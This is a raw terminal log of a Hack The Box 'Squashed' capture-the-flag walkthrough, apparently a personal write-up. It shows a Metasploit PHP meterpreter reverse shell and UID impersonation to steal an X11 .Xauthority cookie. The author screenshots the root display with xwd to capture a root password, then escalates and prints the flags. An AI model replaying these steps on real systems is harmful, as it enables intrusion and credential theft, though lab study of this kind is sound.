[-] Unknown command: exploit
msf6 payload(php/meterpreter/reverse_tcp) > run
[-] Unknown command: run
msf6 payload(php/meterpreter/reverse_tcp) > exploit
[-] Unknown command: exploit
msf6 payload(php/meterpreter/reverse_tcp) > 
msf6 payload(php/meterpreter/reverse_tcp) > 
msf6 payload(php/meterpreter/reverse_tcp) > use exploit/multi/handler 
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp 
payload => php/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (php/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target



View the full module info with the info, or info -d command.

msf6 exploit(multi/handler) > set lhost 10.10.16.19
lhost => 10.10.16.19
msf6 exploit(multi/handler) > set lport 5555
lport => 5555
msf6 exploit(multi/handler) > run

[*] Started reverse TCP handler on 10.10.16.19:5555 
[*] Sending stage (39927 bytes) to 10.10.11.191
[*] Meterpreter session 1 opened (10.10.16.19:5555 -> 10.10.11.191:46866) at 2023-04-08 23:04:26 +0800

meterpreter > sysinfo
Computer    : squashed.htb
OS          : Linux squashed.htb 5.4.0-131-generic #147-Ubuntu SMP Fri Oct 14 17:07:22 UTC 2022 x86_64
Meterpreter : php/linux
meterpreter > user
[-] Unknown command: user
meterpreter > id
[-] Unknown command: id
meterpreter > shell
Process 44331 created.
Channel 0 created.
id
uid=2017(alex) gid=2017(alex) groups=2017(alex)
pwd   
/var/www/html
cd /home/alex
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
snap
user.txt
cat user.txt
063c77fae30a14e75b17706354944e24

create user ross

$ ls -ld ../ross
drwxr-xr-x 14 1001 webuser 4096  4月  7 13:20 ../ross
$ 


┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ sudo useradd ross        
                                                                                                                                                                                
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ sudo usermod -u 1001  ross 
                                                                                                                                                                              
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ passwd ross
passwd：您不能查看或更改 ross 的密码信息。
                                                                                                                                                                              
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ sudo ross                                                                                                                                                             1 ⨯
sudo: ross：找不到命令
                                                                                                                                                                              
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ sudo passwd ross                                                                                                                                                      1 ⨯
新的 密码：
重新输入新的 密码：
passwd：已成功更新密码

su ross

┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed/ross]
└─$ su ross  
密码：
$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  Templates  Videos
$ tree -a

$ ls -al
总用量 68
drwxr-xr-x 14 ross webuser 4096  4月  7 13:20 .
drwxr-xr-x  6 kwkl kwkl    4096  4月  8 23:11 ..
lrwxrwxrwx  1 root root       9 10月 20 21:24 .bash_history -> /dev/null
drwx------ 11 ross webuser 4096 10月 21 22:57 .cache
drwx------ 12 ross webuser 4096 10月 21 22:57 .config
drwxr-xr-x  2 ross webuser 4096 10月 21 22:57 Desktop
drwxr-xr-x  2 ross webuser 4096 10月 21 22:57 Documents
drwxr-xr-x  2 ross webuser 4096 10月 21 22:57 Downloads
drwx------  3 ross webuser 4096 10月 21 22:57 .gnupg
drwx------  3 ross webuser 4096 10月 21 22:57 .local
drwxr-xr-x  2 ross webuser 4096 10月 21 22:57 Music
drwxr-xr-x  2 ross webuser 4096 10月 21 22:57 Pictures
drwxr-xr-x  2 ross webuser 4096 10月 21 22:57 Public
drwxr-xr-x  2 ross webuser 4096 10月 21 22:57 Templates
drwxr-xr-x  2 ross webuser 4096 10月 21 22:57 Videos
lrwxrwxrwx  1 root root       9 10月 21 21:07 .viminfo -> /dev/null
-rw-------  1 ross webuser   57  4月  7 13:20 .Xauthority
-rw-------  1 ross webuser 2475  4月  7 13:20 .xsession-errors
-rw-------  1 ross webuser 2475 12月 27 23:33 .xsession-errors.old
$ cp .Xauthority
cp: 在'.Xauthority' 后缺少了要操作的目标文件
请尝试执行 "cp --help" 来获取更多信息。
$ cp .Xauthority
cp: 在'.Xauthority' 后缺少了要操作的目标文件
请尝试执行 "cp --help" 来获取更多信息。
$ cp .Xauthority /tmp
$ 
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ sudo cp  /tmp/.Xauthority ./                                                                                                                                          1 ⨯
                                                                                                                                                                              
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ ls
html  htnl  keepass.hash  Passwords.kdbx  ross  shell.php  webhtml
                                                                                                                                                                              
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ ls                    
html  htnl  keepass.hash  Passwords.kdbx  ross  shell.php  webhtml
                                                                                                                                                                              
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ ls -al    
总用量 36
drwxr-xr-x  6 kwkl    kwkl     4096  4月  8 23:50 .
drwxr-xr-x 14 kwkl    kwkl     4096  4月  8 22:12 ..
drwxr-xr-x 14 ross    webuser  4096  4月  7 13:20 html
drwxr-xr-x  2 kwkl    kwkl     4096  4月  8 22:23 htnl
-rw-r--r--  1 kwkl    kwkl        0  4月  8 23:41 keepass.hash
-rw-r--r--  1 kwkl    kwkl     1365  4月  8 23:11 Passwords.kdbx
drwxr-xr-x 14 ross    webuser  4096  4月  7 13:20 ross
-rwxrwxrwx  1 kwkl    kwkl     1112  4月  8 22:57 shell.php
drwxr-xr--  5 webuser www-data 4096  4月  8 23:50 webhtml
-rw-------  1 root    root       57  4月  8 23:50 .Xauthority
                                                                                                                                                                              
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ chmod 777 .Xauthority 
chmod: 正在更改 '.Xauthority' 的权限: 不允许的操作
                                                                                                                                                                              
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ ls                                                                                                                                                                    1 ⨯
html  htnl  keepass.hash  Passwords.kdbx  ross  shell.php  webhtml
                                                                                                                                                                              
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ sudo chmod 777 .Xauthority
                                                                                                                                                                              
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ ls -al
总用量 36
drwxr-xr-x  6 kwkl    kwkl     4096  4月  8 23:50 .
drwxr-xr-x 14 kwkl    kwkl     4096  4月  8 22:12 ..
drwxr-xr-x 14 ross    webuser  4096  4月  7 13:20 html
drwxr-xr-x  2 kwkl    kwkl     4096  4月  8 22:23 htnl
-rw-r--r--  1 kwkl    kwkl        0  4月  8 23:41 keepass.hash
-rw-r--r--  1 kwkl    kwkl     1365  4月  8 23:11 Passwords.kdbx
drwxr-xr-x 14 ross    webuser  4096  4月  7 13:20 ross
-rwxrwxrwx  1 kwkl    kwkl     1112  4月  8 22:57 shell.php
drwxr-xr--  5 webuser www-data 4096  4月  8 23:50 webhtml
-rwxrwxrwx  1 root    root       57  4月  8 23:50 .Xauthority
                                                                                                                                                                              
┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ python3 -m http.server 3333
Serving HTTP on 0.0.0.0 port 3333 (http://0.0.0.0:3333/) ...
10.10.16.19 - - [08/Apr/2023 23:51:35] "GET / HTTP/1.1" 200 -
10.10.16.19 - - [08/Apr/2023 23:51:35] code 404, message File not found
10.10.16.19 - - [08/Apr/2023 23:51:35] "GET /favicon.ico HTTP/1.1" 404 -
10.10.16.19 - - [08/Apr/2023 23:51:38] "GET /.Xauthority HTTP/1.1" 200 -
10.10.11.191 - - [08/Apr/2023 23:53:42] "GET /.Xauthority HTTP/1.1" 200 -

squash wget the .Xauthority

/var/www/html
cd /home/alex
pwd
j/home/alex
ls -al
total 80
drwxr-xr-x 15 alex alex  4096 Apr  8 08:45 .
drwxr-xr-x  4 root root  4096 Oct 21 14:57 ..
-rw-rw-rw-  1 alex alex    57 Apr  8 08:27 .Xauthority
lrwxrwxrwx  1 root root     9 Oct 17 13:23 .bash_history -> /dev/null
drwxr-xr-x  8 alex alex  4096 Oct 21 14:57 .cache
drwx------  8 alex alex  4096 Oct 21 14:57 .config
drwx------  3 alex alex  4096 Apr  7 07:58 .gnupg
drwx------  3 alex alex  4096 Oct 21 14:57 .local
-rw-------  1 alex alex 12288 Apr  8 08:05 .swp
lrwxrwxrwx  1 root root     9 Oct 21 13:06 .viminfo -> /dev/null
drwxr-xr-x  2 alex alex  4096 Oct 21 14:57 Desktop
drwxr-xr-x  2 alex alex  4096 Oct 21 14:57 Documents
drwxr-xr-x  2 alex alex  4096 Oct 21 14:57 Downloads
drwxr-xr-x  2 alex alex  4096 Oct 21 14:57 Music
drwxr-xr-x  2 alex alex  4096 Oct 21 14:57 Pictures
drwxr-xr-x  2 alex alex  4096 Oct 21 14:57 Public
drwxr-xr-x  2 alex alex  4096 Oct 21 14:57 Templates
drwxr-xr-x  2 alex alex  4096 Oct 21 14:57 Videos
drwx------  3 alex alex  4096 Oct 21 14:57 snap
-rw-r-----  1 root alex    33 Apr  7 05:21 user.txt
wget http://10.10.16.19:3333/.Xauthority -O /tmp/.Xauthority
--2023-04-08 15:53:45--  http://10.10.16.19:3333/.Xauthority
Connecting to 10.10.16.19:3333... connected.
HTTP request sent, awaiting response... 200 OK
Length: 57 [application/octet-stream]
Saving to: '/tmp/.Xauthority'

     0K                                                       100% 8.11M=0s

2023-04-08 15:53:46 (8.11 MB/s) - '/tmp/.Xauthority' saved [57/57]

Get the root’s desktop pic

ls /tmp
0xdf.xwd
CVE-2021-3560.py
linpeas.sh
pspy64
screenshot.xwd
tmux-2017
^[[A^[[D    : not found
/bin/sh: 11: 
ls -al /tmp
total 7600
drwxrwxrwt  3 root root    4096 Apr  8 09:12 .
drwxr-xr-x 20 root root    4096 Oct 21 14:57 ..
-rw-rw-rw-  1 alex alex      57 Apr  8 15:50 .Xauthority
-rw-rw-rw-  1 alex alex 1923179 Apr  8 09:12 0xdf.xwd
-rw-rw-rw-  1 alex alex    2434 Apr  7 07:58 CVE-2021-3560.py
-rw-rw-rw-  1 alex alex  828087 Jan  8 04:26 linpeas.sh
-rwxrwxrwx  1 alex alex 3078592 Dec  6  2021 pspy64
-rw-r--r--  1 alex alex 1923179 Apr  7 08:23 screenshot.xwd
drwx------  2 alex alex    4096 Apr  7 07:58 tmux-2017
XAUTHORITY=/tmp/.Xauthority xwd -root -screen -silent -display :0 > /tmp/haha.xwd    
ls /tmp
ls /tmp
0xdf.xwd
CVE-2021-3560.py
haha.xwd
linpeas.sh
pspy64
screenshot.xwd
tmux-2017
cp haha.xwd /var/www/html
cp: cannot stat 'haha.xwd': No such file or directory
chmod 777 /var/www/html/haha.xwd
ls /var/www/html
ls /var/www/html
css
haha.xwd
images
index.html
js

Wget the haha.xwd

┌──(kwkl㉿kwkl)-[~/HODL/htb/squashed]
└─$ wget http://10.10.11.191/haha.xwd               
--2023-04-08 23:57:11--  http://10.10.11.191/haha.xwd
正在连接 10.10.11.191:80... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：1923179 (1.8M) [image/x-xwindowdump]
正在保存至: “haha.xwd”

haha.xwd                                    100%[=========================================================================================>]   1.83M  21.7KB/s  用时 3m 4s   

2023-04-09 00:00:44 (10.2 KB/s) - 已保存 “haha.xwd” [1923179/1923179])

su root & get the flag

css
haha.xwd
images
index.html
js
ls
Desktop
Documents
Downloads
Music
Pictures
Public
Templates
Videos
snap
user.txt
su root
Password: cah$mei7rai9A
id
uid=0(root) gid=0(root) groups=0(root)
cd   
pwd
/root
ls
Desktop
Documents
Downloads
Music
Pictures
Public
root.txt
scripts
snap
Templates
Videos
cat root.txt
0be4464430d6acfe6e2c26982f70b7a4

[*] 10.10.11.191 - Meterpreter session 1 closed.  Reason: Died

Ref:[https://www.jianshu.com/p/ef5201d9ffe7]
(https://www.jianshu.com/p/ef5201d9ffe7)
Squashed HTB Writeup https://www.jianshu.com/p/ef5201d9ffe7